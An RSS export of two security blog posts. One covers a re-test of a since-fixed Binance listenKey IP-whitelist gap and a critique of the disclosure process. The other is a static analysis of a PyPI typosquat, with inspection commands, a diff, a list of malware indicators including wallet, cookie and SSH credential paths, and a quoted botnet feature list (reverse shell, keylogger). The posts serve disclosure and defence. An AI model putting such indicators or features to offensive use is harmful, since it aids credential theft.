<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Technopathy]]></title><description><![CDATA[Real-world insights on DevSecOps, Python, security, and AI-driven development — written by the creator of the UNICORN Binance Suite.]]></description><link>https://blog.technopathy.club</link><image><url>https://cdn.hashnode.com/uploads/logos/69d4b99a5da14bc70e00d4f6/2eaf7f26-8898-42fc-bf54-cc43ac0f272b.png</url><title>Technopathy</title><link>https://blog.technopathy.club</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 10 May 2026 11:59:58 GMT</lastBuildDate><atom:link href="https://blog.technopathy.club/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Binance Fixed the IP Whitelist Gap. The Disclosure Process Is Still Broken.]]></title><description><![CDATA[I wanted to re-open an old Binance API security issue.
Not because I enjoy re-litigating old reports.
Because the last thirteen days made the threat model painfully concrete.
I found or stumbled into ]]></description><link>https://blog.technopathy.club/binance-fixed-the-ip-whitelist-gap-the-disclosure-process-is-still-broken</link><guid isPermaLink="true">https://blog.technopathy.club/binance-fixed-the-ip-whitelist-gap-the-disclosure-process-is-still-broken</guid><category><![CDATA[binance]]></category><category><![CDATA[api security]]></category><category><![CDATA[disclosure]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[supply chain]]></category><category><![CDATA[bugcrowd]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[Malware]]></category><category><![CDATA[pypi]]></category><category><![CDATA[GitHub]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 05 May 2026 16:55:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/231ac2dc-3310-405a-8360-0782eed7d850.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I wanted to re-open an old <a href="https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api">Binance API security issue</a>.</p>
<p>Not because I enjoy re-litigating old reports.</p>
<p>Because the last thirteen days made the threat model painfully concrete.</p>
<p>I found or stumbled into fake GitHub repositories, a broader <code>nailproxy.space</code> malware campaign, a StealC-linked delivery chain, a fake job interview abusing VSCode workspace trust, and a PyPI typosquat targeting my Binance WebSocket library.</p>
<p>Different cases. Same direction.</p>
<p>Attackers are trying to get code executed exactly where API keys live: developer machines, bot servers, CI jobs, dependency trees, IDE workspaces, and trading infrastructure.</p>
<p>That matters because I reported a Binance API trust-boundary issue around IP whitelisting and <code>listenKey</code> in December 2024.</p>
<p>So I went back and re-tested it.</p>
<p>The result surprised me.</p>
<p>The vulnerability appears to be fixed.</p>
<p>That is good.</p>
<p>Really good.</p>
<p>But the way we got here is not good.</p>
<p>Because the same issue was previously rejected as “Social Engineering,” marked “Not Applicable,” not rewarded, not acknowledged — and now the behavior I reported is gone.</p>
<p>The finding was not rewardable enough to acknowledge.</p>
<p>But apparently it was technical enough to fix.</p>
<p>That is the part I cannot ignore.</p>
<h2>The original issue</h2>
<p>Binance API keys can be restricted to specific IP addresses.</p>
<p>That creates a strong security expectation:</p>
<blockquote>
<p>Even if credentials leak, they should be useless outside the trusted IP range.</p>
</blockquote>
<p>That is the point of IP whitelisting.</p>
<p>But the old <code>listenKey</code> model for private user data streams did not follow that boundary consistently.</p>
<p>A <code>listenKey</code> could be created from a whitelisted system using only the API key — no API secret, no request signature, no proof of possession.</p>
<p>The resulting <code>listenKey</code> could then be used from outside the configured IP whitelist to consume private user data streams.</p>
<p>No trading permission.</p>
<p>No withdrawal permission.</p>
<p>No direct account takeover.</p>
<p>But full real-time visibility into sensitive account activity:</p>
<ul>
<li><p>balances</p>
</li>
<li><p>orders</p>
</li>
<li><p>executions</p>
</li>
<li><p>positions</p>
</li>
<li><p>liquidation-relevant state</p>
</li>
<li><p>timing</p>
</li>
<li><p>strategy behavior</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e86206e5-0b36-4479-9736-b1e15701f3df.png" alt="" style="display:block;margin:0 auto" />

<p>For automated trading systems, that is not harmless data.</p>
<p>In trading, visibility is value.</p>
<p>Open orders are value. Positions are value. Execution timing is value. Strategy behavior is value.</p>
<p>A system that exposes that data outside the configured IP boundary leaks more than most users realize.</p>
<p>The rule should be simple:</p>
<blockquote>
<p>A derived credential must not be more portable than the credential that created it.</p>
</blockquote>
<p>That was the issue.</p>
<h2>Why “Social Engineering” was the wrong answer</h2>
<p>The report was not about someone tricking a user into handing over a token.</p>
<p>It was about an architectural boundary mismatch.</p>
<p>Bugcrowd / Binance treated the attack scenario as requiring Social Engineering.</p>
<p>I disagreed then.</p>
<p>I disagree now.</p>
<p>Because the relevant attack path was never:</p>
<blockquote>
<p>Please send me your <code>listenKey</code>.</p>
</blockquote>
<p>The relevant attack path was:</p>
<blockquote>
<p>Trusted code running in a whitelisted environment can create or exfiltrate a <code>listenKey</code>, and the attacker can consume it outside that environment.</p>
</blockquote>
<p>That is how supply-chain compromise works.</p>
<p>A malicious dependency does not ask nicely.</p>
<p>A compromised bot does not ask the user to forward a token.</p>
<p>An infected package does not need a phishing form.</p>
<p>A malicious IDE workspace does not need the user to understand what it runs.</p>
<p>It executes in the place the user already trusts.</p>
<p>That is exactly why IP whitelisting exists.</p>
<p>And that is exactly why derived stream credentials should inherit the same boundary.</p>
<h2>The old proof was real</h2>
<p>This was not only an argument.</p>
<p>I had proof.</p>
<p>The original Bugcrowd reports included scripts and video material demonstrating the flow. Later, I also published the public case study:</p>
<p><a href="https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api">When IP Whitelisting Isn't What It Seems: A Real-World Case Study from the Binance API</a></p>
<p>I also have an old video from November 26, 2025 demonstrating that the issue was still reproducible at that time:</p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=y9dGtHLEBp8">https://www.youtube.com/watch?v=y9dGtHLEBp8</a></p>

<p>That video has about 30 views.</p>
<p>Which is funny in a bitter way.</p>
<p>Because the finding was not subtle.</p>
<p>The user expectation around IP whitelisting was clear. The architectural mismatch was clear. The supply-chain threat model was clear.</p>
<p>The recommended fix was also clear:</p>
<ul>
<li><p>enforce the same IP restrictions on <code>listenKey</code> as on the original API key</p>
</li>
<li><p>require proof of possession of the API secret when issuing a stream credential</p>
</li>
<li><p>treat stream credentials as sensitive account credentials, not harmless session strings</p>
</li>
</ul>
<p>That was the whole point.</p>
<h2>Why I re-tested it now</h2>
<p>The last thirteen days changed the context.</p>
<p>I documented or found:</p>
<ul>
<li><p><a href="https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api">fake GitHub repositories impersonating my Binance tooling</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign">a broader malware campaign using open-source project names as lures</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space">a StealC-linked delivery chain</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/i-had-a-fake-job-interview-it-was-a-malware-delivery-chain">a fake job interview abusing developer-tool trust</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/the-pypi-package-was-clean-that-was-the-problem">a PyPI package squat around my Binance WebSocket library</a></p>
</li>
</ul>
<p>Those are not theoretical attack paths.</p>
<p>They target exactly the environments where API credentials live.</p>
<p>That was my point in 2024.</p>
<p>It is even more obvious in 2026.</p>
<p>Supply-chain attacks do not require the user to forward a token.</p>
<p>They require trusted code to run in a trusted place.</p>
<p>That is the whole problem.</p>
<p>So I re-tested the current state on May 5, 2026.</p>
<h2>The re-test setup</h2>
<p>The test used one Binance API key with full permissions except withdrawals.</p>
<p>The key was restricted to one specific Telekom Austria IPv4 address.</p>
<p>I tested two source-IP states:</p>
<ul>
<li><p>a whitelisted Telekom Austria home IPv4</p>
</li>
<li><p>non-whitelisted Mullvad WireGuard exits</p>
</li>
</ul>
<p>The probes were pure REST <code>POST</code> calls to the relevant <code>listenKey</code> endpoints using only the <code>X-MBX-APIKEY</code> header.</p>
<p>No trades.</p>
<p>No signed actions for the <code>listenKey</code> probes.</p>
<p>No account interaction beyond testing whether the stream credential could be created.</p>
<p>The API key was handled via environment variable, redacted in logs, and rotated after the test.</p>
<h2>What I found</h2>
<p>Short version:</p>
<blockquote>
<p>Binance fixed it.</p>
</blockquote>
<p>More precisely:</p>
<table>
<thead>
<tr>
<th>Product line</th>
<th>Current state on May 5, 2026</th>
</tr>
</thead>
<tbody><tr>
<td>Spot</td>
<td>old <code>listenKey</code> endpoint retired</td>
</tr>
<tr>
<td>Cross-Margin</td>
<td>old <code>listenKey</code> endpoint retired</td>
</tr>
<tr>
<td>Isolated-Margin</td>
<td>old <code>listenKey</code> endpoint retired</td>
</tr>
<tr>
<td>USDⓈ-M Futures</td>
<td><code>listenKey</code> still exists, but IP whitelist is enforced</td>
</tr>
<tr>
<td>COIN-M Futures</td>
<td><code>listenKey</code> still exists, but IP whitelist is enforced</td>
</tr>
<tr>
<td>Binance US</td>
<td>not tested</td>
</tr>
<tr>
<td>Binance TR</td>
<td>not tested</td>
</tr>
</tbody></table>
<p>Spot and Margin did not merely start enforcing the old model.</p>
<p>They moved away from it.</p>
<p>Futures still has <code>listenKey</code>, but the old bypass no longer reproduced.</p>
<p>From the whitelisted IP:</p>
<pre><code class="language-text">POST /fapi/v1/listenKey  -&gt; 200 OK
POST /dapi/v1/listenKey  -&gt; 200 OK
</code></pre>
<p>From a non-whitelisted Mullvad IP:</p>
<pre><code class="language-text">POST /fapi/v1/listenKey  -&gt; 401 / -2015
POST /dapi/v1/listenKey  -&gt; 401 / -2015
</code></pre>
<p>The error message included the live request IP.</p>
<p>That matters.</p>
<p>It strongly suggests Binance is now checking the request source IP against the API key whitelist for the Futures <code>listenKey</code> endpoints, just as it does for signed private endpoints.</p>
<p>I also cross-checked that this was not simply Binance blocking Mullvad.</p>
<p>Public no-auth Futures endpoints worked from the same Mullvad exit.</p>
<p>Signed private endpoints failed with the same <code>-2015</code> IP-whitelist error.</p>
<p>Changing the Mullvad exit changed the reflected request IP in the error message.</p>
<p>That is exactly what enforced IP whitelisting looks like.</p>
<h2>The lifecycle details are interesting</h2>
<p>Spot now returns:</p>
<pre><code class="language-text">410 Gone
</code></pre>
<p>for the old Spot user data stream endpoint.</p>
<p>That is a deliberate lifecycle signal.</p>
<p>It means: this endpoint used to exist, and it is gone.</p>
<p>Margin behaves differently.</p>
<p>Cross-Margin and Isolated-Margin returned generic <code>404 Not Found</code> responses through the <code>sapi</code> routing layer.</p>
<p>So Binance appears to have retired Spot more explicitly, while Margin was simply removed from routing.</p>
<p>That is not the central issue, but it is interesting.</p>
<p>The final state is still good for users:</p>
<ul>
<li><p>Spot: retired</p>
</li>
<li><p>Margin: retired</p>
</li>
<li><p>Futures: live but now IP-enforced</p>
</li>
</ul>
<p>From a security perspective, that is a real improvement.</p>
<h2>The bug is gone. The process is the story now.</h2>
<p>I want to be very clear:</p>
<p>I am glad this is fixed.</p>
<p>Users are safer now.</p>
<p>That matters.</p>
<p>If a compromised API key can no longer be used from an arbitrary IP to obtain a Futures <code>listenKey</code>, that is good.</p>
<p>If Spot and Margin moved away from the old model entirely, that is good.</p>
<p>If Binance quietly closed a trust-boundary gap, that is good.</p>
<p>But it does not erase the disclosure problem.</p>
<p>Because the report was not accepted as a valid security issue.</p>
<p>It was closed as Not Applicable.</p>
<p>It was repeatedly framed as Social Engineering.</p>
<p>And now the behavior it described is gone.</p>
<p>That is the uncomfortable part.</p>
<p>The finding was not rewardable enough to acknowledge.</p>
<p>But apparently it was technical enough to fix.</p>
<h2>The process punished persistence</h2>
<p>Responsible disclosure is not only about bugs.</p>
<p>It is about incentives.</p>
<p>If a researcher reports a real architectural issue, provides proof, explains supply-chain impact, provides real-world examples, and the issue later disappears from production, then the process should be able to say:</p>
<blockquote>
<p>Yes, this was useful.</p>
</blockquote>
<p>It does not always need to mean a big bounty.</p>
<p>It does not always need to mean a CVE.</p>
<p>It does not always need to mean a public incident report.</p>
<p>But it should not result in:</p>
<ul>
<li><p>rejection as Not Applicable</p>
</li>
<li><p>repeated misclassification</p>
</li>
<li><p>no acknowledgement</p>
</li>
<li><p>no reward</p>
</li>
<li><p>no clear public fix note</p>
</li>
<li><p>no correction of the original assessment</p>
</li>
<li><p>procedural pressure against further review requests</p>
</li>
</ul>
<p>There is another part of this that should not be softened.</p>
<p>After I pushed back and asked for a proper review, the response did not become more technical.</p>
<p>It became more procedural.</p>
<p>I was warned that further response requests without “additional information” could affect my accuracy score or even my ability to create response requests.</p>
<p>That matters.</p>
<p>Because I was not submitting vague noise.</p>
<p>I had provided a reproducible issue, PoC material, real-world leakage examples, supply-chain scenarios, and a clear explanation of why this was not Social Engineering.</p>
<p>And now the behavior I reported appears to be gone.</p>
<p>That is not just disappointing.</p>
<p>That is a broken incentive structure.</p>
<p>A disclosure process should not make the researcher feel like the risky action is continuing to explain the bug.</p>
<h2>Why this matters</h2>
<p>The people most likely to find architectural issues are often the people who live inside the ecosystem:</p>
<ul>
<li><p>maintainers</p>
</li>
<li><p>infrastructure developers</p>
</li>
<li><p>SDK authors</p>
</li>
<li><p>bot developers</p>
</li>
<li><p>API integrators</p>
</li>
<li><p>security engineers</p>
</li>
<li><p>power users</p>
</li>
</ul>
<p>Those people are not scanning random forms for easy XSS.</p>
<p>They understand the system because they build around it every day.</p>
<p>If they stop trusting the disclosure process, the platform loses an early-warning system.</p>
<p>And that is exactly the wrong outcome.</p>
<p>Especially for ecosystems where automated trading, API credentials, third-party libraries, and supply-chain risk are tightly connected.</p>
<h2>What I want from Binance</h2>
<p>I do not want to pretend the fix does not matter.</p>
<p>It does.</p>
<p>I also do not want to pretend the process was acceptable.</p>
<p>It was not.</p>
<p>A fair outcome would have been simple:</p>
<ul>
<li><p>acknowledge the trust-boundary question</p>
</li>
<li><p>confirm reproducibility</p>
</li>
<li><p>classify the finding honestly</p>
</li>
<li><p>explain product-line limitations if legacy compatibility made fixing hard</p>
</li>
<li><p>give a clear fix timeline or documentation note</p>
</li>
<li><p>recognize the report, even if no bounty was paid</p>
</li>
</ul>
<p>That would already have been enough.</p>
<p>Instead, the public result is this:</p>
<p>A reported architectural issue was rejected as Social Engineering.</p>
<p>The same architectural behavior is now gone.</p>
<p>And the person who reported it had to discover that by re-testing it independently.</p>
<p>That is not how a healthy disclosure process should feel.</p>
<p>To be clear: I still like Binance.</p>
<p>I build and maintain open source infrastructure for the Binance ecosystem because I think the ecosystem matters.</p>
<p>Binance has built useful APIs.</p>
<p>The developer community around those APIs is real.</p>
<p>A lot of people depend on this infrastructure.</p>
<p>That is exactly why I care.</p>
<p>This is not about hating Binance.</p>
<p>It is about expecting better from a platform that sits at the center of a large automated-trading ecosystem.</p>
<h2>The uncomfortable conclusion</h2>
<p>I started this follow-up expecting to show that the old issue was still open.</p>
<p>That would have been easy.</p>
<p>Instead, I found something more interesting.</p>
<p>The bug appears to be gone.</p>
<p>The security boundary is better now.</p>
<p>Users are safer.</p>
<p>Good.</p>
<p>But the disclosure process still failed.</p>
<p>The last thirteen days made the original threat model practical.</p>
<p>The May 5 re-test showed that Binance has apparently moved in the direction the report argued for.</p>
<p>Those two facts belong together.</p>
<p>The technical fix deserves credit.</p>
<p>The process deserves criticism.</p>
<p>Because responsible disclosure should not work like this:</p>
<blockquote>
<p>Report the issue.</p>
<p>Get told it is not an issue.</p>
<p>Watch it silently get fixed.</p>
<p>Receive no acknowledgement.</p>
</blockquote>
<p>That is not sustainable.</p>
<p>And it is not fair.</p>
<p>The technical system got safer.</p>
<p>The disclosure process did not.</p>
<p>That should worry every platform that depends on external researchers.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[The PyPI Package Was Clean. That Was the Problem.]]></title><description><![CDATA[Someone uploaded a package to PyPI called:
unicorn-binance-websocket-api-onion

I do not maintain this package.
There is no official Tor, onion, proxy, or privacy-focused variant of UNICORN Binance We]]></description><link>https://blog.technopathy.club/the-pypi-package-was-clean-that-was-the-problem</link><guid isPermaLink="true">https://blog.technopathy.club/the-pypi-package-was-clean-that-was-the-problem</guid><category><![CDATA[pypi]]></category><category><![CDATA[supply chain]]></category><category><![CDATA[typosquatting]]></category><category><![CDATA[Python]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[Security]]></category><category><![CDATA[Malware]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 05 May 2026 12:06:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/1a74c14d-cc12-49d7-a245-a20150b1b387.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Someone uploaded a package to PyPI called:</p>
<pre><code class="language-text">unicorn-binance-websocket-api-onion
</code></pre>
<p>I do not maintain this package.</p>
<p>There is no official Tor, onion, proxy, or privacy-focused variant of UNICORN Binance WebSocket API.</p>
<p>The official package is:</p>
<pre><code class="language-text">unicorn-binance-websocket-api
</code></pre>
<p>At first glance, the <code>-onion</code> suffix looks plausible enough to be mistaken for a legitimate variant.</p>
<p>That is exactly the problem.</p>
<p>And there is another reason this caught my attention immediately:</p>
<p>the same PyPI account, <code>onionj</code>, also maintains <code>pybotnet</code>, a package whose own description presents it as a framework for building remote control, botnet, trojan, or backdoor functionality.</p>
<p>So this was not just a random suffix collision.</p>
<p>It was a plausible package-name squat around my Binance trading library, published by an account that also publishes remote-control / botnet tooling, while keeping old LUCIT author metadata that makes the package look more official than it is.</p>
<p>I analyzed the package statically.</p>
<p>The version I reviewed does not contain malware. No obvious payload. No stage-2 download. No <code>exec</code>. No <code>eval</code>. No base64-decoded loader. No hidden exfiltration logic.</p>
<p>It is basically a near-identical fork of my upstream <code>1.46.2</code> release.</p>
<p>And I am reporting it anyway.</p>
<p>Because a clean typosquat can still be a supply-chain problem.</p>
<h2>Why I looked at it</h2>
<p>I started checking project-name collisions around the UNICORN Binance Suite more actively after the recent <a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign"><code>nailproxy.space</code> GitHub impersonation campaign</a>.</p>
<p>That campaign abused recognizable open source project names, including mine, to lure developers into running malicious code.</p>
<p>I also published a separate <a href="https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api">security warning about a fraudulent GitHub repository impersonating UNICORN Binance WebSocket API</a>.</p>
<p>That one was already weaponized.</p>
<p>This PyPI case is different.</p>
<p>It is not a live malware dropper.</p>
<p>But it belongs to the same family of supply-chain hygiene problems:</p>
<p>someone is using a recognizable project name to put adversary-controlled code into a developer package index.</p>
<p>That alone is enough reason to look closely.</p>
<h2>The package</h2>
<p>The package I analyzed:</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Package</td>
<td><code>unicorn-binance-websocket-api-onion</code></td>
</tr>
<tr>
<td>Version</td>
<td><code>1.46.2</code></td>
</tr>
<tr>
<td>Release status</td>
<td>Only release observed</td>
</tr>
<tr>
<td>Upload time</td>
<td><code>2025-05-27 14:45:12 UTC</code></td>
</tr>
<tr>
<td>Wheel SHA256</td>
<td><code>65147181cff1a672652c843f85ec354c1b71f97ac1249381e067401ad196c6b8</code></td>
</tr>
<tr>
<td>Sdist SHA256</td>
<td><code>4a7691898951f9eaee30f705d9a875def5b017f595a6a0c2e0d1e462868ce92a</code></td>
</tr>
<tr>
<td>Wheel size</td>
<td><code>71,744 B</code></td>
</tr>
<tr>
<td>Sdist size</td>
<td><code>81,966 B</code></td>
</tr>
<tr>
<td>Declared author</td>
<td><code>LUCIT Systems and Development &lt;info@lucit.tech&gt;</code></td>
</tr>
<tr>
<td>Declared homepage</td>
<td><code>https://github.com/onionj/unicorn-binance-websocket-api</code></td>
</tr>
<tr>
<td>Homepage status at time of review</td>
<td><code>404 Not Found</code></td>
</tr>
<tr>
<td>PyPI maintainer</td>
<td><code>onionj</code></td>
</tr>
<tr>
<td>Real uploader from package artifacts</td>
<td><code>onionj</code> / <code>onionj98@gmail.com</code></td>
</tr>
</tbody></table>
<p>The declared author is the first obvious problem.</p>
<p><code>LUCIT Systems and Development &lt;info@lucit.tech&gt;</code> is historical metadata from my own project. It is not the uploader’s identity. It makes the package look official at first glance.</p>
<p>It is not.</p>
<p>PyPI itself shows <code>onionj</code> as the maintainer of this project, while the unverified metadata still lists <code>LUCIT Systems and Development</code> as the author and keeps multiple old LUCIT / UNICORN Binance WebSocket API project links.</p>
<p>The declared homepage also points to:</p>
<pre><code class="language-text">https://github.com/onionj/unicorn-binance-websocket-api
</code></pre>
<p>At the time of review, that URL returned <code>404 Not Found</code>.</p>
<p>So the project page says, in effect:</p>
<ul>
<li><p>maintained by <code>onionj</code>,</p>
</li>
<li><p>authored by <code>LUCIT Systems and Development</code>,</p>
</li>
<li><p>linked to an unavailable GitHub repository,</p>
</li>
<li><p>packaged under a plausible <code>-onion</code> suffix,</p>
</li>
<li><p>and installed into the official import namespace.</p>
</li>
</ul>
<p>That is exactly the kind of metadata confusion that package-name squats benefit from.</p>
<h2>Recent download footprint</h2>
<p>Recent PyPI / Linehaul download stats at the time of review:</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>Last day</th>
<th>Last week</th>
<th>Last month</th>
</tr>
</thead>
<tbody><tr>
<td><code>unicorn-binance-websocket-api</code></td>
<td>292</td>
<td>2,331</td>
<td>14,854</td>
</tr>
<tr>
<td><code>unicorn-binance-websocket-api-onion</code></td>
<td>0</td>
<td>3</td>
<td>7</td>
</tr>
<tr>
<td><code>pybotnet</code></td>
<td>5</td>
<td>31</td>
<td>168</td>
</tr>
</tbody></table>
<p>The squat is still small.</p>
<p>That is the entire reason this is worth catching now.</p>
<p>There is no large installed userbase yet to harm.</p>
<h2>Methodology</h2>
<p>I treated the package as hostile until proven otherwise.</p>
<p>I did not run it.</p>
<p>I did not install it.</p>
<p>I did not import it.</p>
<p>I only downloaded the artifacts and inspected them passively:</p>
<pre><code class="language-bash">curl -sS -o pkg.whl  https://files.pythonhosted.org/packages/.../*.whl
curl -sS -o pkg.tar.gz https://files.pythonhosted.org/packages/.../*.tar.gz
sha256sum pkg.whl pkg.tar.gz

python3 -m zipfile -l pkg.whl
tar -tzf pkg.tar.gz

python3 -m zipfile -e pkg.whl extracted/whl/
tar -xzf pkg.tar.gz -C extracted/
chmod -R a-x extracted/
</code></pre>
<p>Then I compared the contents against my official upstream <code>1.46.2</code> tag.</p>
<p>That is enough to answer the important question:</p>
<p>what code would a user get if they installed this package?</p>
<h2>What is inside</h2>
<p>The package installs into the same Python import namespace as the official package:</p>
<pre><code class="language-text">unicorn_binance_websocket_api/
</code></pre>
<p>That means a user can run:</p>
<pre><code class="language-bash">pip install unicorn-binance-websocket-api-onion
</code></pre>
<p>and then write:</p>
<pre><code class="language-python">import unicorn_binance_websocket_api
</code></pre>
<p>At the import-path level, the <code>-onion</code> suffix disappears.</p>
<p>That is not a small detail.</p>
<p>The distribution name is different, but the Python module name is the same. This makes the package a drop-in shadow of the official one.</p>
<p>If a future version becomes malicious, the import statement would not reveal anything unusual.</p>
<h2>The diff</h2>
<p>The package is almost byte-identical to my official <code>1.46.2</code> release.</p>
<p>Most files are unchanged.</p>
<table>
<thead>
<tr>
<th>File</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td><code>__init__.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>api.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>connection.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>connection_settings.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>exceptions.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>manager.py</code></td>
<td><strong>1-line change</strong></td>
</tr>
<tr>
<td><code>restclient.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>restserver.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>sockets.py</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>README.md</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>LICENSE</code></td>
<td>byte-identical</td>
</tr>
<tr>
<td><code>setup.py</code></td>
<td>3-line change</td>
</tr>
</tbody></table>
<p>The relevant difference in <code>manager.py</code> is only this:</p>
<pre><code class="language-diff">@@ -229,7 +229,7 @@
                  socks5_proxy_pass: Optional[str] = None,
                  socks5_proxy_ssl_verification: Optional[bool] = True,):
         threading.Thread.__init__(self)
-        self.name = "unicorn-binance-websocket-api"
+        self.name = "unicorn-binance-websocket-api-onion"
         self.version = "1.46.2"
</code></pre>
<p>That is the entire functional delta in <code>manager.py</code>: a name string.</p>
<p>The <code>setup.py</code> changes are also minimal:</p>
<pre><code class="language-diff">-     name='unicorn-binance-websocket-api',
+     name='unicorn-binance-websocket-api-onion',

-     url="https://github.com/LUCIT-Systems-and-Development/unicorn-binance-websocket-api",
+     url="https://github.com/onionj/unicorn-binance-websocket-api",

-     install_requires=['colorama', 'requests', 'websocket-client', 'websockets==10.4', 'flask_restful',
+     install_requires=['colorama', 'requests', 'websocket-client', 'websockets&gt;=10.4', 'flask_restful',
</code></pre>
<p>So the package was renamed, the project URL was changed, and one dependency pin was loosened.</p>
<p>That last point is easy to overlook, but it matters.</p>
<p>Changing <code>websockets==10.4</code> to <code>websockets&gt;=10.4</code> is not a payload. It is not malicious by itself. But it shows that this was not only a blind archive copy. Someone touched the packaging metadata and made a maintenance-style change.</p>
<p>That makes the dormant-package risk more concrete: a package like this can stay clean today, receive small “reasonable” updates, and still remain positioned as a future supply-chain slot.</p>
<p>The author metadata was not changed.</p>
<p>That is the part I do not like.</p>
<h2>What I did not find</h2>
<p>I searched for the usual static indicators:</p>
<ul>
<li><p><code>exec(</code></p>
</li>
<li><p><code>eval(</code></p>
</li>
<li><p><code>compile(</code></p>
</li>
<li><p><code>__import__</code></p>
</li>
<li><p><code>base64.b64decode</code></p>
</li>
<li><p><code>marshal.loads</code></p>
</li>
<li><p><code>pickle.loads</code></p>
</li>
<li><p><code>subprocess</code></p>
</li>
<li><p><code>os.system</code></p>
</li>
<li><p><code>os.popen</code></p>
</li>
<li><p>suspicious <code>requests.get</code> / <code>requests.post</code></p>
</li>
<li><p>Telegram, Discord, webhook, <code>.onion</code>, <code>tor2web</code></p>
</li>
<li><p>wallet paths</p>
</li>
<li><p>browser cookie paths</p>
</li>
<li><p>SSH or cloud credential paths</p>
</li>
<li><p>obvious C2 strings</p>
</li>
<li><p>simple obfuscation patterns</p>
</li>
</ul>
<p>I did not find a malicious payload.</p>
<p>The hits I did find were legitimate pre-existing code from the original project: Binance request signing, GitHub version checks, platform/user-agent handling, and normal library logic.</p>
<p>So the verdict for this version is clear:</p>
<p><code>unicorn-binance-websocket-api-onion</code> <strong>version</strong> <code>1.46.2</code> <strong>is not malware.</strong></p>
<p>That does not make it acceptable.</p>
<h2>Why this is still a problem</h2>
<p>The short version:</p>
<p>this is a clean package today, but it has the structure of a dormant supply-chain slot.</p>
<p>There are four separate issues here.</p>
<h3>1. Identity spoofing</h3>
<p>The package claims:</p>
<pre><code class="language-text">LUCIT Systems and Development &lt;info@lucit.tech&gt;
</code></pre>
<p>That identity does not belong to the uploader.</p>
<p>Users looking at package metadata may reasonably believe this is connected to the original project history.</p>
<p>It is not.</p>
<p>That is misleading even if the code is clean.</p>
<h3>2. Namespace shadowing</h3>
<p>The package name is different, but the import namespace is the same as the official package:</p>
<pre><code class="language-python">import unicorn_binance_websocket_api
</code></pre>
<p>That means the package behaves like a drop-in replacement.</p>
<p>There is no obvious runtime clue that the code came from a suffixed, unofficial distribution.</p>
<p>That is exactly the setup a future malicious update would exploit.</p>
<h3>3. The name is plausible</h3>
<p>The suffix <code>-onion</code> is not random.</p>
<p>It sounds like it could be a Tor/onion-routing variant.</p>
<p>There are legitimate Python projects and extras around SOCKS, Tor, proxies, and privacy routing. A developer searching for such functionality could plausibly think this package is an official variant.</p>
<p>It is not.</p>
<h3>4. The maintainer profile makes the dormant-package risk concrete</h3>
<p>This is the part that makes the package more concerning.</p>
<p>The PyPI account <code>onionj</code> maintains exactly two projects at the time of writing:</p>
<ul>
<li><p><code>unicorn-binance-websocket-api-onion</code></p>
</li>
<li><p><code>pybotnet</code></p>
</li>
</ul>
<p>That connection is public on the PyPI user profile.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/3f8c8083-1f9b-4ef4-bb9d-194da06589c6.png" alt="" style="display:block;margin:0 auto" />

<p><code>pybotnet</code> describes itself as:</p>
<blockquote>
<p>A Python framework for building remote control, botnet, trojan or backdoor with Telegram or other control panels</p>
</blockquote>
<p>Its own feature list includes a Telegram control panel, reverse shell, file upload/download, remote Python code execution, screenshots, keylogger functionality, DoS, scheduling, and custom scripts.</p>
<p>I am not claiming that <code>pybotnet</code> is illegal malware.</p>
<p>I am also not claiming that <code>unicorn-binance-websocket-api-onion</code> is malicious in the version I reviewed.</p>
<p>But this combination matters.</p>
